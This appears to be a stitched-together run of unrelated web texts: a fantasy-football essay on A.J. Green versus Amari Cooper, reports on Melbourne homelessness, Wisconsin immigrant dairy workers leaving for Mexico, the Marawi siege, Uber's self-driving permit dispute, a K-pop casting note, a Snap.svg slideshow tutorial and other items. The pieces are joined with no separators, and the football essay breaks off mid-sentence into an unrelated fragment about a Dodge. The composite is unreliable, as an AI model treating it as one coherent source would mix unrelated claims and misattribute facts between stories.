Potential in Dynasty football is like Schrodinger’s Theory. It is both the great equalizer, yet also, the great separator of player values. Potential is what makes Corey Coleman more valuable than Hall of Famer, Larry Fitzgerald. It’s what makes Joe Mixon a better asset to a fantasy roster, than even the starter on his own team, Giovani Bernard. Interpreting player potential is not universally accepted for each individual player. This gives us the leading platform for debate amongst the community. Of which, can become so heated it couldn’t even be topped by Stephen A. Smith himself. It’s these evaluations of potential that separate the strong players from the average.
Bet On Some Long Shots
I’m a big gambler. I used to play 4 to 8 tables of poker online for 8 hour a day, every day until the sites got shut down in the U.S. In fantasy though? The unknown is too scary. I avoid it any chance I can. The key to minimizing the unknown in fantasy, is separating the different types of potential and valuing those players accordingly. Unknown player potential is like calling with a straight draw and hoping to get lucky and hit your card on the turn. You’re not going to want to put a lot of money in the pot hoping to hit your straight. You only want to put in a little bit of money, in case you lose, it won’t cost you, but if it does hit, it’ll pay dividends. In other words, you don’t want a lot of players on your roster that are high risk players. Have a few in case they fail, it won’t hurt you to bad, but enough in case they blow up into fantasy superstardom. The type of players that come to mind most are young receivers. Either rookies that have a lot of hype or young guys that have been hurt or struggled a bit. Think Corey Coleman, Laquan Treadwell, and Donte Moncrief.
In the event your gamble pays off and your hypothetical straight card hits on the turn and you get a late bloomer like T.Y. Hilton or Doug Baldwin, you get a great boost towards a championship at a cheaper price tag. Just like when playing poker you have to understand the odds associated with each probability. For each T.Y Hilton you hit on, you’re going to miss your straight and have a handful of Tavon Austin, Cordarelle Patterson, and Justin Blackmon’s. This is why you need to not risk too many roster spots on guys like this. Only a few are going to hit. If you commit to many roster spots to similar players, which most will inevitably miss in the long run, than the juice will not be worth the squeeze when they do hit.
The Predicament
Trying to solve a player’s value with no stats is futile, it’s essentially a guess. Now when you have stats and game film to help you evaluate, that’s when you can paint a much clearer picture of a players potential. This also leads into the ultimate dynasty predicament. How much added value should be put on youth? You have a player that’s productive at a young age but not as productive as a player that’s much older. Do you keep the elite option for 2-3 more years? Do you take the good young player, who might not be elite for a few years, but could be for the next 8, 9, or 10 years?
The World Series of Poker is going on in Las Vegas right now so let’s paint a similar scenario to compare it to the felt. You get dealt pocket kings and you’re living the life ready to take everybody’s money. You get to the flop and three hearts come up. You double check your hand and you don’t have the King of hearts. Damn it. You look over and your 22 year old opponent is staring back at you with his sunglasses on and his hood over his head. You know he has a heart in his hand, so you’re probably going to be in trouble. Just like with the elite fantasy option, you definitely have the best of it now. Down the road you still might end up with the upper hand, but the future isn’t looking like to promising of a situation. In poker, your opponent could hit an Ace, which would give them a better pair then you, or hit a heart to give them a flush. In fantasy, your veteran could start to decline, get hurt, or the young gun could hit their prime and turn into just as valuable of a short term asset. Do you shoot for the moon in the short term, and potentially cost yourself for many years to come?
The Great Debate
I’ve been involved in a twitter battle that has continued on for the better part of six weeks. In a Dynasty league, would you prefer A.J. Green or Amari Cooper? The presidential debates last fall were more civil than the gauntlet that has ensued regarding this innocent twitter poll. The case for each is simple. Determining who’s more valuable? Not so much. One has been an elite fantasy receiver his entire career but will be 29 years old this season. The other has been a good and consistent WR2, but has elite upside and will only be 23 when the season kicks off. “Well I’ll keep A.J. Green for a few years to win now and then trade for Amari.” Not so fast my friend…Why would an Amari Cooper owner trade a 26 year old wide receiver in the midst of his prime for a 32 year old at the end of the road? You would have missed your opportunity. I have been on record numerous times about this and I will be once more, I’m on the side of Amari Cooper.
The argument for A.J. Green is a good one, and I understand it. I can’t fault a person for picking Green. I just can’t conjure up a scenario where the difference between the two, production wise, is big enough to make up for the fact that Cooper will be a legitimate fantasy starter for 5-7 years longer than A.J. Green. Amari is still several years from even hitting his prime, and when he does, so will Derek Carr. It’s also very likely Michael Crabtree will not be in the offense when that does happen, so Amari will be force fed from what should be the best young QB in the game. Derek Carr was in the conversation for NFL MVP until he got hurt last year. Only his 3rd season in the NFL. Is he really going to miraculously turn into Robert Griffin 5 years from now when both he and Amari Cooper are at the apex of their careers? Doesn’t seem likely.
Maybe this is who Amari Cooper is, an 1,100 yard receiver with 6 or 7 TDs a year type of guy. If that’s the case, I can understand more so, where the Green siders come from. Even if that’s Cooper’s ceiling though, I still prefer him as a foundation for a dynasty team. Once AJ Green is out of the league, and I’m wishfully implying that he’ll remain elite and assume he doesn’t decline to a WR2 or worse with age, you’ll need to replace your WR1 anyway. Wouldn’t replacing an elite WR1 be much less of a tedious rebuild with the likes of Amari Cooper on your roster instead? He’s productive enough to start on your team for as long as you’d need him, or if you’re not a fan, you’ll at least have a tradable asset that won’t depreciate in value for the next, what? Seven years? How much longer will AJ Green be a valuable trading commodity? At his age, every offseason drops his trade value exponentially.
This time next year the debate could be AJ Green vs Stefon Diggs or Devante Parker. What about Green’s value the next year, in 2019, when Amari is turning 24 and just entering into his prime? AJ Green should be more productive than Amari Cooper in the 2017-18 season, assuming his injury doesn’t have any lingering issues. Does that make him the better choice for your Dynasty roster?
Look in the Mirror
What are you playing for? Depending how your roster plays into that question, determines who should be on your team. That’s what makes fantasy debates so entertaining. Everybody is right! It’s just dependent on your personal situation. All that ranting and raving I just did tooting the horn of Amari Cooper, there’s still situations I’d advise players to go with AJ Green. “Well Jerry, I need to win soon before my veteran team gets to old.” If this is your case and you haven’t won a title |
the burly Dodge for yourself. Find a trailer for the show, below, as well."I am happy to put this proposal before councillors at our first meeting if it is Victoria Police's recommendation, and they guarantee that they will enforce it," Mr Doyle was quoted as saying.
Homeless people at the camp near Flinders Street Station. Credit:Joe Armao
"Police already have powers to arrest for obstruction, for drug use, for threatening or aggressive behaviour, and for begging, and I would like to see them make full use of those powers as well.
"I welcome any move by police to bring an end to what has become a blight on our city, and the City of Melbourne continues to work with them to do that."
The News Corp report said the state government would hold a crisis meeting with police, Melbourne City Council and support groups on Monday.In the driveway of a two-story house on a dairy farm in western Wisconsin, five men focus on a unique construction project. Using a drill, hammer and nails, plywood and rope, they work together in the afternoon sun to erect a structure that resembles a makeshift corral in the bed of a Honda pickup.
Every so often, Luisa Tepole, 25, carries a suitcase or packaged appliance out of the house, handing it to her husband, Miguel Hernandez, 36. Hernandez makes quick decisions about what can fit in the truck and what his family can live without when they begin their new life in Mexico, placing each item just so for the long trip back across the border.
By the end of the night, the back of the truck is piled high with bags of clothes and shoes, TV sets in boxes and a bucket of children’s toys, ready for the 2,300-mile drive to Veracruz, Mexico.
Farm owners Doug and Toni Knoepke watch Hernandez and the other workers from a few feet away as they load their two-truck caravan. It looks like a scene from “The Grapes of Wrath,” Doug Knoepke remarks, referring to the movie about the mass migration from the Oklahoma Dust Bowl to California in the 1930s.
Only this time, it is in reverse: The migrants are leaving a land abundant with economic opportunity for an uncertain future in their homeland.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
Hernandez has been working on the Knoepkes’ farm in Pepin County for 16 years. He shares this home with his wife and two young sons, Thomas, 5, and Liam, 4.
The house, where they live with several other workers, is so close to the barn that from their back door, the rhythms of Mexican Cumbia music can be heard coming out of a speaker in the milking parlor.
Earlier in the day, at Thomas’ last day at Noah’s Ark Preschool in Durand, he cries as he tells his classmates that he will not be starting kindergarten with them in the fall. He has never been to Mexico, and his teacher pulls out a map to show the students where it is in relation to the United States.
On June 1, Hernandez and four other men, who for years have milked and cared for cows on dairy farms among the hills of western Wisconsin, drive away in the direction of their mountainous hometown of Texhuacan. A few days later, Tepole and the children fly out of Chicago.
The Hernandez family is leaving, in part, because of the threat of deportation — which could ban them from returning to the United States for 10 years — and what they describe as increasingly harsh rhetoric by President Donald Trump and others toward immigrants, especially those here illegally.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
Like many immigrant dairy employees in Wisconsin, the workers in the caravan have stories about walking through the desert to cross the border illegally, coming to work for farmers in the United States eager for the help.
They ended up here in America’s Dairyland, the nation’s top cheese state and No. 2 milk producer, attracted by a dairy industry dependent on undocumented immigrant labor to keep cows milked three times a day, year-round. They have raised their children in communities where American workers stopped answering “help wanted” ads for cow milkers long ago.
And now, they are going home.
“Miguel has been our right hand,” Knoepke says. “He treated (the farm) like he owned it. We’re really saddened, scared. I don’t know. It’s sad.”
Coburn Dukehart / Wisconsin Center for Investigative Journalism
In the first 100 days of the Trump administration, arrests by Immigration and Customs Enforcement (ICE) in the Midwestern region increased over the previous two years.
In Wisconsin, farmers like Knoepke depend heavily on workers like Hernandez. Seeing him and the other workers leave worries this first generation farmer with 650 cows.
“I don’t know where the industry would be without (immigrant labor) right now,” Knoepke says. “We’re relyin’ on it and what it does for Wisconsin and our economy.”
There are temporary visas for seasonal agricultural workers, but year-round workers who make up the vast majority of the labor force on Wisconsin’s large dairies have no special protections, and many are in the country illegally. Unless Congress changes that, Knoepke says, the loss of immigrant farm workers will “bring us to our knees.”
“They better do something … because (workers) are leaving. You see it right here. They’re packin’ up.”
Coburn Dukehart / Wisconsin Center for Investigative Journalism
In May, U.S. Sen. Ron Johnson, R-Wis., introduced a bill that would let states create their own visa programs for foreign workers. According to the libertarian Cato Institute, which supports the measure, Canada and Australia have similar programs. Four dairy associations endorsed the proposal, but it has not yet received a hearing.
Tougher U.S. immigration policies are creating concern on the other side of the border as well.
“Our families in Mexico, when they watch TV and the news … they see there are raids in many states so they worry about that,” Hernandez says. “Our bosses always told us don’t worry … but in some states it’s happening.”
Hernandez’s brother, Damaso, who also works at a western Wisconsin dairy farm, says many workers he knows are considering whether to stay or go. As a candidate, Trump declared that the United States was a dumping ground for drugs and criminals from Mexico. He promised sweeping deportations and to build a wall between the two nations.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
“Because they’re scared of the government, a lot of families are leaving. Because they can’t get around comfortably anymore because they’re scared of getting taken and deported,” Damaso Hernandez says. “It’s strange, it’s difficult because all the Hispanic people knew the Americans here in Wisconsin were supporting Donald Trump.
“I think they made a mistake,” he adds, “Because a lot of people are fleeing for precisely that reason.”
Trump was the first Republican presidential candidate to carry Wisconsin since 1984.
Arrests up in the Midwest
ICE figures show arrests in the six-state Midwestern region including Wisconsin are rising since Trump took office, Wisconsin Public Radio has learned.
The agency reports that arrests in the Chicago region rose to 2,599 between Inauguration Day, Jan. 20, through April 29, the first 100 days of the Trump administration. That figure exceeds arrest totals from the same period in the previous two years under President Barack Obama. However, it is lower than the same period in 2014, when there were 3,033 arrests.
Nationwide, ICE arrests totaled 41,898, about 35 percent higher than last year but lower than the 2014 figure of 54,584.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
Randy Capps, director of research for U.S. programs at the Migration Policy Institute, a nonpartisan group that analyzes the movement of people worldwide, says there can be a “pretty substantial lag” between arrest and deportation. Factors include whether the person contests the deportation.
“And that lag can be anywhere from a few days — if they have a prior removal order that’s simply reinstated — to several years, if they decide to contest their deportation and they’re let out of detention on bond,” Capps says.
The Trump administration is working to pressure local law enforcement agencies and governments to help federal authorities identify and arrest undocumented residents. The president’s budget proposes withholding funds from so-called “sanctuary cities,” jurisdictions that decline to work hand-in-hand with federal agencies to enforce immigration laws.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
In May, Texas Gov. Greg Abbott signed a bill into law that allows local police officers to question individuals about their immigration status when they are detained or arrested. It also penalizes local officials who do not cooperate with federal immigration agents by handing over people subject to deportation. Republicans in the Wisconsin Legislature have proposed a similar bill.
Implementation memos issued by the U.S. Department of Homeland Security earlier this year expanded ICE’s target from individuals convicted of serious crimes to those charged with even low-level offenses. The memos also direct that no one in the country illegally is exempt from deportation.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
Nationwide, the number of non-criminals arrested by ICE in Trump’s first 100 days more than doubled from the same period last year, to 10,934 from 4,372. In the Chicago region, for example, 778 of the 2,599 people arrested by ICE were not convicted criminals; last year, 500 non-criminals were arrested during the same time frame.
What that means is that people who come into contact with ICE, even if they are not being sought by the agency, could still be arrested.
“That’s what they call collaterals,” says Wendy Feliz, spokeswoman for the pro-immigrant American Immigration Council. “ ‘We’re gonna pick you up because you’re undocumented and we’re here anyway.’ ”
Coburn Dukehart / Wisconsin Center for Investigative Journalism
A farmer in Wisconsin’s Trempealeau County, who asked not to be named because he fears reprisals from immigration authorities, says ICE agents who visited his farm this spring looking for a particular person warned him they knew the rest of his employees were also undocumented and that they would be back. A worker who spoke to Wisconsin Public Radio at another farm in Pepin County shared a similar report.
Experts like Feliz, however, say there is no evidence of the type of sweeping raids carried out near the end of the George W. Bush administration.
ICE may be under pressure from businesses not to run intensive operations in fields or factories where many undocumented immigrants work, Capps says.
“If they were to take a bunch of agricultural workers, or even if they were to scare a large number of agricultural workers away, that could have a bad impact on the local economy,” he says.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
University of Wisconsin-Extension agent Jennifer Blazek says immigrant dairy workers across the state remain uneasy.
“I do think that it may not be as openly discussed as it was when we saw more news about immigration in the national media,” Blazek says. “Nothing has really happened to lessen their fears; there’s no new information from the government about the wall and other immigration policies.”
‘They’re coming after us’
As rumors circulated that ICE had visited Durand, four other dairy workers decided to join Hernandez, whose reasons for leaving include returning to see his ailing father.
“I think the family is the most important thing for all of us,” says Hernandez, who always knew he would someday return to Mexico. He and his friends determined it was best to go now — organized, relaxed and with a plan.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
“It’s better to go back home because of the laws — they’re coming after us,” says Luis Mendez, 32, who milks cows and helps out as a mechanic at the Knoepke farm. “It’s better to go willingly and be with the family rather than getting deported or something like that.”
If you are deported, he says, “You take the clothes you’re wearing … and that’s it.” But with a planned departure, Mendez says, immigrants can keep their belongings and money.
“This way I’m going calmly, at ease.”
Still others, like Hernandez’s brother Damaso — who has lived in the United States for 17 years — say the time has not come to leave, but the situation could change at any moment. He thinks about the effect of leaving on his four children, who were raised in Wisconsin.
“My kids are very accustomed to life here. The truth is, I don’t know what type of life they would have over there. Would they adapt quickly or…,” he trails off. “That’s what scares me most is the adjustment … life is different over there.
“Various people have already gone. And others want to leave. Now that (Miguel) is leaving I’m asking myself, ‘And you, when will you leave?’ ”
Coburn Dukehart / Wisconsin Center for Investigative Journalism
Last day for father and son
It is 7:15 in the morning on May 31. As the sun peeks over the hills to the east, workers are up and in action. One drives a tractor through the fields while another steers a feed truck between two rows of cows. All the while, men in the milking parlor never stop moving. Some have been working since 11 p.m. and are just finishing their shifts.
At this hour, everyone on the farm is an immigrant from Mexico.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
For Hernandez, today is just like any other workday over the past 16 years, except that it is his last. He does not want to work today, but his bosses say they really need the help. He opens and closes metal gates, shoo-ing cows in and out of the milking parlor, and sweeps piles of manure and feed off the floor of the barn.
Tepole is excited. She has not been back home in the 11 years since she first came to the United States. Her parents have never met their grandchildren, and her mother is happy they are coming home.
At school, Thomas’ teacher gives the students certificates to congratulate them on finishing the school year. On Thomas’, she writes her address and encourages him to write from his new home.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
Hernandez knows his decision to raise his children in Mexico will affect their future, especially when it comes to education. “It’s a huge difference in school here compared to the school in Mexico. I think we are a lot behind in Mexico, but … it is what it is,” Hernandez says, shrugging his shoulders.
Courtesy of Miguel Hernandez
“He thinks we are going to come back. I just hope he forgets about that when we get down there and he sees his family down there and his cousins. I have a big family, 10 siblings and many nephews and nieces down there, so I hope that helps a lot.”
When Hernandez told his boss he was leaving, he was offered more money to stay. The farm owners even offered to buy a trailer for the other workers so he and his family could live in the house alone. But Hernandez turned it down.
Four or five people have applied for Hernandez’s job, but none has worked out, according to herd manager Henry Yoder. Knoepke says he probably will need to promote from within.
Hernandez says the farm owners want him to come back legally if that ever becomes possible.
“They are waiting for the government to do something … so they can bring people with papers or with visa, but they are just waiting,” Hernandez says. “You don’t even know if it’s gonna happen.”
This story is part of Wisconsin Public Radio’s State of Change: Water, Food And The Future Of Wisconsin project. It was jointly produced by WPR and the Wisconsin Center for Investigative Journalism. The nonprofit Center (www.WisconsinWatch.org) collaborates with WPR, other news media and the UW-Madison School of Journalism and Mass Communication. All works created, published, posted or disseminated by the Center do not necessarily reflect the views or opinions of UW-Madison or any of its affiliates.PANTAR, Philippines (Reuters) - Thousands of civilians fled fighting in the Philippines on Wednesday as troops tried to fend off Islamist militants who took over large parts of a city, capturing Christians, seizing and torching buildings and setting free scores of prisoners.
Government troops check a vehicle evacuating residents from their hometown of Marawi city in southern Philippines, as it drives past a military checkpoint in Pantar town, Lanao Del Norte, Philippines May 24, 2017. REUTERS/Romeo Ranoco
Islamic State claimed responsibility for the rampage via its Amaq news agency, and President Rodrigo Duterte defended his decision to declare martial law on Mindanao, the Muslim-majority island where Marawi City is located, to prevent the spread of extremism in the impoverished region.
The violence flared in Marawi on Tuesday afternoon after a botched raid by security forces on a hideout of the Maute, a militant group that has pledged allegiance to Islamic State.
Fighters quickly dispersed, torching buildings and taking over bridges, a hospital, two jails, a church and a college. Duterte said he heard reports they may have beheaded a police chief.
He said Islamic State must be repelled from the Christian-majority Philippines and he would use all means possible to crush the Maute group and the allied Abu Sayyaf, whatever the consequences.
“Anyone now holding a gun, confronting government with violence, my orders are spare no one, let us solve the problems of Mindanao once and for all,” said Duterte, who is from the island, after cutting short a visit to Russia and returning to Manila.
“If I think you should die, you will die. If you fight us, you will die. If there’s an open defiance, you will die, and if it means many people dying, so be it. That’s how it is.”
Soldiers and guerrillas set up rival checkpoints and roadblocks on routes in and around Marawi as civilians fled the city of 200,000 in droves, leaving behind what one official described as a ghost town.
Long queues of pickup trucks and jeeps crammed full of people and loaded with belongings crawled along roads into nearby towns as troops searched vehicles for weapons and bombs.
The military said it had rescued 120 people from a school and a hospital and was trying to isolate Maute fighters while awaiting reinforcements that were being blocked by rebels.
Maute snipers and booby traps were hampering operations, which the army said could last three more days.
HUMAN SHIELDS
The Catholic church said militants were using Christians and a priest as human shields and had contacted cardinals with threats to execute hostages unless government troops withdrew.
Thirteen militants and seven security personnel have so far been killed and 33 troops wounded, the army said.
Mujiv Hataman, governor of the Autonomous Region in Mindanao, said militants freed 107 prisoners, among them Maute rebels.
Duterte said martial law would mean checkpoints and arrests and searches without warrant, and it would go on for as long as necessary.
He said he would consider some security measures in the central Visayas region next to Mindanao to facilitate arrests, and could even declare martial law nationwide. He was furious that militants had hoisted the Islamic State flag in Marawi.
“I made a projection, not a prediction, that one of these days the hardest things to deal with would be the arrival of ISIS,” Duterte said, referring to Islamic State.
“The government must put an end to this. I cannot gamble with ISIS because they are everywhere.”
Duterte said he would not tolerate abuses of power by security forces under martial law, but critics said the military rule in all of Mindanao, an island the size of South Korea with a population of 22 million, was an overreaction.
The National Union of Peoples’ Lawyers, a group of human rights attorneys, called it “a sledgehammer, knee-jerk reaction” that would “open the flood gates for unbridled human rights violations”.
The military has not explained how the raid on an apartment hideout went so badly wrong. The operation was aimed at capturing Isnilon Hapilon, a leader of the Abu Sayyaf group notorious for piracy, banditry and for kidnapping and decapitating Westerners.
The Maute and Abu Sayyaf have proved fierce opponents for the military.
The armed forces said they were on top of the situation but residents who fled told a different story.
Slideshow (10 Images)
“The city is still under the control of the armed group. They are all over the main roads and two bridges leading to Marawi,” student Rabani Mautum told Reuters in Pantar town, about 16 km (10 miles) away.
Bishops and cardinals urged Islamic leaders to persuade militants to free innocent hostages.
“We beg every Filipino to pray fervently,” said Father Socrates Villegas, president of the Catholic Bishops Conference of the Philippines.Just three months since making her official debut as part of girl group G-Friend, member Yerin is already branching out to other parts of the entertainment industry.
According to multiple broadcasting officials, Yerin will indeed be taking on her first role and acting challenge in the upcoming web drama Midnight’s Girl, previously titled My Superstar Jidan. She will be joining the already confirmed male lead and WINNER member Nam Taehyun, whose role and casting was recently announced.
Midnight’s Girl is MBC Every1‘s first web drama and follows the story of Gong Jidan (played by Taehyun) who dreams of becoming a superstar. He begins to run his own karaoke business, which coincidentally, prompts him into stardom.
While recording is reported to have begun already, the web drama is now looking to air in early May through MBC Every1’s portal websites.
Yerin has been gaining attention following her appearance on SBS Running Man, becoming the fastest rookie to guest on the popular program so soon after her debut in January 2015. Nevertheless, she charm the Running Man members and cast with her rambunctious but loving personality, and had viewers laughing at her playful charms.
Source: OBS NewsA screencast is NOT a replacement for documentation
I think I might have been sleeping when screencasts became so popular, because it seems that every site is now pushing their screencasts on you...
More recently, I'm seeing pieces of software where the ONLY documentation is a screencast.
So why can't you use screencasts as documentation?
It's not actually faster for you: A good screencast requires you to read from a pre-written script so that you don't mumble and use "um" a lot. So you have to write it out, THEN make the screencast.
You are not James Earl Jones. You can't afford James Earl Jones. I had to do voice overs for a class in college and I realized that voice talent costs lots of money for a reason...
Text can be read on any arbitrary device (iPhone, Motorola Q, laptop with no headphones in a crowded room) whereas a screencast requires a fully functional browser and either headphones or a quiet room.
I can read your documentation faster than a 60 second screencast.
A deaf person isn't going to be able to get any benefit out of your screencast.
Until web-based screencasts have easily accessible "chapters", it's going to be faster for me to find a specific piece of information a second time if it's text.
Audio data has no "search" command.
I know I'm not alone in this.... if for no other reason than the audiobook section in every bookstore I've ever been in is smaller than the book section.
So, please. Don't rely on a screencast. It's like trying to rely on balloon help or a "tip of the day". Remember balloon help and tips of the day?The slides in this slideshow wobble as they move. The effect is based on Sergey Valiukh's Dribbble shot and was made using Snap.svg and morphing SVG paths.
View demo Download source
Today we’d like to share an experimental slideshow effect with you. The idea is based on a Dribble shot called GIF Exercise by Sergey Valiukh where a lot of jell-o-like movements are happening. Navigating from one item to another makes the items move in a wobbly fashion and we thought this might be great to try out on a real slideshow. To achieve this effect we used Snap.svg and animated the slide background SVGs in order to simulate the elastic effect. What happens is that we basically morph an SVG path from a rectangle to a curved shaped; either a right curve or a left curve, depending on where we are navigating to.
Please note that this is highly experimental and tested only in the latest versions of modern browsers.
The beautiful icons are from the great free Ballicons 2 icon set created by Pixel Buddha and released on Smashing Magazine.
The markup of the slideshow is a unordered list wrapped by a division:
<div id="slideshow" class="slideshow"> <ul> <li> <div class="slide"> <!--... --> </div> </li> <li><!--... --></li> <li><!--... --></li> <!--... --> </ul> </div>
What we do is to insert an SVG before the slide with a path that is a rectangle. The SVG looks as follows after being inserted:
<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" viewBox="0 0 80 60" preserveAspectRatio="none"> <path d="M33,0C33,0,74,0,74,0C74,0,69,9.871,69,29.871C69,49.871,74,60,74,60C74,60,32.666,60,32.666,60C32.666,60,32.541,60,32.541,60C32.541,60,6,60,6,60C6,60,1,50,1,30C1,10,6,0,6,0C6,0,33,0,33,0" /> </svg>
The three different SVG paths make up the following shapes:
You can also find the SVGs in the image folder.
Depending on where we navigate to, we will either bend the shape to the left or to the right. This animation will make it seem as if the are pulling or pushing an elastic object.
The paths are defined in the slideshow options:
SliderFx.prototype.options = { // default transition speed (ms) speed : 500, // default transition easing easing : 'ease', // path definitions paths : { rect : 'M33,0h41c0,0,0,9.871,0,29.871C74,49.871,74,60,74,60H32.666h-0.125H6c0,0,0-10,0-30S6,0,6,0H33', curve : { right : 'M33,0h41c0,0,5,9.871,5,29.871C79,49.871,74,60,74,60H32.666h-0.125H6c0,0,5-10,5-30S6,0,6,0H33', left : 'M33,0h41c0,0-5,9.871-5,29.871C69,49.871,74,60,74,60H32.666h-0.125H6c0,0-5-10-5-30S6,0,6,0H33' } } }
Here is how we actually control the morphing of the paths when navigating:
SliderFx.prototype._morphSVGs = function( callback ) { var self = this, speed = this.options.speed, pathCurvedLeft = this.options.paths.curve.left, pathCurvedRight = this.options.paths.curve.right, pathRectangle = this.options.paths.rect, dir = this.old < this.curr? 'right' : 'left'; // morph svg path on exiting slide to "curved" this.items[ this.old ].path.stop().animate( { 'path' : dir === 'right'? pathCurvedLeft : pathCurvedRight }, speed *.5, mina.easeout ); // the slider starts a bit later... setTimeout(function() { callback.call(); }, speed *.2 ); // change svg path on entering slide to "curved" var currItem = this.items[ this.curr ]; currItem.querySelector('path').setAttribute( 'd', dir === 'right'? pathCurvedLeft : pathCurvedRight ); // morph svg path on entering slide to "rectangle" setTimeout(function() { currItem.path.stop().animate( { 'path' : pathRectangle }, speed * 3, mina.elastic ); }, speed *.5 ); }
The timing is the most important aspect here. For example, when morphing the SVG path to the right curve, we want to make sure that the morphing takes half as long as the movement of the slides (i.e. speed *.5 ). This ensures that we still see it getting curved before the slide disappears. We also delay the start of the slider movement a tidbit. The entering slide's path will be first set to be curved and then we morph it to the rectangle shape. You can change the direction of the curve so that you change the effect to look like the element is being pulled or pushed. Change dir === 'right' to dir === 'left' for the entering slide to see the difference. In the last morph where we set the entering path to become a rectangle, we can play with two durations: the speed of the morphing and the delay. We want the morphing to take longer so that we actually see the incoming shape performing its jell-o show. Play with that value and if you like, the easing, in order to achieve subtle, but impactful effects.
It's a matter of how you want the effect to appear, so if you play with all those timings, you will see how the movement reflects almost different substances: would you like some pudding or do you prefer some jell-o? 🙂
If you'd like to see another example in action, check it out here: Alternative Wobbly Slideshow Effect
The code here was changed as follows:
// morph svg path on exiting slide to "curved" this.items[ this.old ].path.stop().animate( { 'path' : dir === 'right'? pathCurvedLeft : pathCurvedRight }, speed *.7, mina.easeout ); // the slider starts a bit later... setTimeout(function() { callback.call(); }, speed *.3 ); // change svg path on entering slide to "curved" var currItem = this.items[ this.curr ]; currItem.querySelector('path').setAttribute( 'd', dir === 'left'? pathCurvedLeft : pathCurvedRight ); // morph svg path on entering slide to "rectangle" setTimeout(function() { currItem.path.stop().animate( { 'path' : pathRectangle }, speed * 5, mina.elastic ); }, speed *.8 );
You can read more about how to use Snap.svg on their website and especially the documentation.
We hope you enjoy this little fun effect and get inspired!
View demo Download sourceAgainst the backdrop of rising attacks on women, Thane police commissioner KP Raghuvanshi has asked them to carry chilli powder for self-defence.
"Women should keep with them a packet of chilli powder and make use of it, if attacked by anti-social elements," the police chief said, while addressing a gathering of female students of local colleges in Dombivili on Wednesday.
Raghuvanshi's remarks came in the wake of rising number of attacks on women in the city, the latest being the murder of a 19-year-old by four youths including minors, for allegedly trying to stop them from teasing a girl.
"Women have had enough. It's time for them to act now. They should learn self-defence skills and in case, anyone misbehaves with them, be it a known or unknown person, they should inform the elders about the same," he added.
Raghuvanshi said that women should not let themselves overcome with shame in case they fall prey to any crime against them.
On security scene in Dombivili, he said more than 100 police personnel have been deployed to keep a check on crime against women. "Beat marshals are provided with modern communication devices for the purpose," he added. —PTIThe Nxt Foundation has announced the end of the Ardor snapshotting period. This conclusion marks the release of ARDR to the public. ARDR represents direct ownership of the native tokens for the upcoming Ardor blockchain.
The Ardor blockchain, with an estimated Q3 2017 release date, aims to give businesses, organizations, and users the ability to utilize advanced blockchain technology through the use of a child chain. Ardor also solves the issue of blockchain bloat by having child chain transactions pruned every 1440 blocks (approximately 24 hours) after a snapshot. However, this data can still be stored on an archival node should the full child chain transaction history be required to be kept. When Ardor is launched, Nxt will continue to remain supported as long as it is used.
Excitement for Ardor pulled the NXT market capitalization to a peak of over 32 million USD in July. Upon the release of ARDR, trading began immediately on the decentralized Asset Exchange of Nxt with centralized exchanges like HitBTC, Bittrex, and Poloniex, as well as the direct conversion service Changelly, following shortly afterwards. The Nxt Foundation has also created an Ardor trading guide for those unfamiliar with the Asset Exchange.
In order to claim your ARDR, you must ensure your Nxt Client is version 1.10.1 or higher, preferably the latest version. You can download it directly from the Nxt website. If you kept your NXT on any of the participating exchanges, your ARDR should have been distributed to you as well on those respective exchanges.Now playing: Watch this: California DMV tells Uber to stop its self-driving cars
Uber has a simple approach to business: Don't ask for permission, but be prepared to seek forgiveness.
Its foray into self-driving cars in California is no different.
Confirming news that CNET broke Tuesday, the ride-hailing company officially announced Wednesday that it's rolling out a fleet of self-driving cars to passengers in San Francisco, making California only the second state in which Uber offers such services. But Uber didn't run the plan past the California Department of Motor Vehicles, which requires a permit for such cars.
Now, the DMV told Uber to cut it out... or else.
"It is illegal for the company to operate its self-driving vehicles on public roads until it receives an autonomous vehicle testing permit," the DMV wrote in a letter to Uber on Wednesday. "Any action by Uber to continue the operation of vehicles equipped with autonomous technology on public streets in California must cease."
Self-driving cars are a hot topic in both the auto and tech industries. Toyota, Ford, Volvo, Tesla and other automakers have projects underway, while Silicon Valley giants including Google, Intel, Tesla Motors and Apple are also betting on the tech. But with Uber's efforts to beat out rivals, is the company going too far by skirting the rules?
The rules don't apply to us
The DMV warned Uber a month ago that it needed a permit to operate self-driving cars in the state, according to Brian Soublet, the department's chief legal counsel, who held a conference call with reporters on Wednesday. Soublet said he told the company the same thing Tuesday before its launch. But Uber didn't appear to listen.
"We understand that there is a debate over whether or not we need a testing permit to launch self-driving Ubers in San Francisco," Anthony Levandowski, Uber's vice president of self-driving technology, wrote in a blog post Wednesday. "We have looked at this issue carefully and we don't believe we do."
Twenty other companies working on self-driving technology have already received permits from California's DMV, including Google, Tesla, BMW, Honda, Ford, Mercedes Benz, Nissan and GM. Uber is the first of these companies to bring its autonomous vehicles to the public in the US.
Levandowski criticized California's rules and requirements as overly strict, warning they "could have the unintended consequence of slowing innovation." Arizona, Nevada and Florida have been leaders in this arena, he said, proving they are "pro technology." Pennsylvania, where Uber first launched its self-driving cars in September, hasn't yet enacted autonomous vehicle legislation.
California's rules apply to cars that are completely autonomous without a person monitoring the driving, Uber's Levandowski said in his post. Uber intends to have "safety drivers" who can take over if anything goes awry in a self-driving car, at all times.
"Our cars are not yet ready to drive without a person monitoring them," Levandowski said, adding the project is in its "early days."
Soublet said in the conference call that the law applies to the kind of technology in the vehicle, not whether a human is behind the wheel. "They've equipped the vehicles that allows them to operate autonomously," Soublet said. "That's the key."
Are self-driving cars safe?
The DMV says it encourages the development of self-driving cars as long as companies seek proper permission. The reason for that, the department says, is for public safety.
"It is essential that Uber takes appropriate measures to ensure safety of the public," the DMV wrote in its letter to Uber on Wednesday. "If Uber does not confirm immediately that it will stop its launch and seek a testing permit, DMV will initiate legal action."
Uber didn't return request for comment regarding the DMV's letter.
